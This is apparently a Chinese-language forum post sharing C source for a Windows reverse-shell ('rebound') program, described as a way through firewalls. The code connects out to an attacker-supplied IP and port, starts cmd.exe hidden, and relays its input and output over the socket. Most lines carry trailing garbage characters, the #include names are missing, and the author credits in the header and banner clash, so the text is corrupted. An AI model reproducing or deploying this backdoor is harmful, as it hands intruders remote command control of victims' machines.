这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9e&#;6l
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/* ============================== p^:Lj 9Qax
Rebound port in Windows NT .g#=~{A
By wind,2006/7 d{hYT\7~1(
===============================*/ {XX Nl)%
#include v6VhXV6$|
#include 5jQP"^g
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#pragma comment(lib,"wsock32.lib") de6dLT>m
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void OutputShell(); Bg
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SOCKET sClient; \.a .'l
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~K96y$ DTE
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void main(int argc,char **argv) cQ41NX@I
{ X-,y[ )
WSADATA stWsaData; \ Sby(l
int nRet; zrO|L|F&P
SOCKADDR_IN stSaiClient,stSaiServer; ;8T=uCi
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if(argc != 3) 5#)<rK
{ ,rI
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printf("Useage:\n\rRebound DestIP DestPort\n"); ->&VbR)
return; -ikuj
} 0|!<|N<
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WSAStartup(MAKEWORD(2,2),&stWsaData); GKhwn&qCKb
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bMZn7c
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stSaiClient.sin_family = AF_INET; DB%AO:8
stSaiClient.sin_port = htons(0); 9:i,WJO
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); mMAr8~A=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zlztF$Bo
{ zZc@;S#
printf("Bind Socket Failed!\n"); SzlfA%4+GR
return; fsc~$^.~\
} o;>3z*9?3
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stSaiServer.sin_family = AF_INET; Pd "mb~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,(27p6!
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N8YBu/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #K1BJ#KUt
{ ([CnYv
printf("Connect Error!"); d3G{0PX
return; `6N-MsP
} ^=Ct Aa2
OutputShell(); {dA
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} vZeYp
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void OutputShell() <S8W~wC
{ Y-3[KH D
char szBuff[1024]; T[XP\!z]B!
SECURITY_ATTRIBUTES stSecurityAttributes; Eh@T W%9*
OSVERSIONINFO stOsversionInfo; bjPbl2K
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )*K<;WIWH
STARTUPINFO stStartupInfo; dHq )vs,L
char *szShell; NVc!g
PROCESS_INFORMATION stProcessInformation; dXcPWbrU4
unsigned long lBytesRead; ]]=-AuV.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {pe7]P?
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mbX)'. +L
stSecurityAttributes.lpSecurityDescriptor = 0; 'y6!%k*
stSecurityAttributes.bInheritHandle = TRUE; N+s?ZE*
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); % O&m#)|
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C^,4`OI
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0^&(u:~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V%BJNJ
stStartupInfo.wShowWindow = SW_HIDE; Wj4^W<IO
stStartupInfo.hStdInput = hReadPipe; xxoHH#a
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6MQs \ J6.
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GetVersionEx(&stOsversionInfo); QtnM(m
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switch(stOsversionInfo.dwPlatformId) }$Hs;4|
{ c?.r"5#
case 1: w>6"Sc7oc2
szShell = "command.com"; U0h)pdo
break; '&-5CpDUs
default: {=bg5I0|a
szShell = "cmd.exe"; obAs<nk
break; <.r ]dCf
} @],6SKbG6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); s-,=e
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send(sClient,szMsg,77,0); G2CZwm{/f
while(1) FJsK5-
{ ?W[J[cb
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ( zn_8s
if(lBytesRead) q+A<g(Xu
{ @<D'-mMt
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {cR_?Y@
send(sClient,szBuff,lBytesRead,0); =vqsd4
} +{,N X
else 7tpAZ<{
{ '}jf#C1$c
lBytesRead=recv(sClient,szBuff,1024,0); y|q@;*rGNa
if(lBytesRead<=0) break; '1W!xQ}E
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @-'/__cgt
} 1MbY7!?PG
} `zdH1 p^w
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return; Gw
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}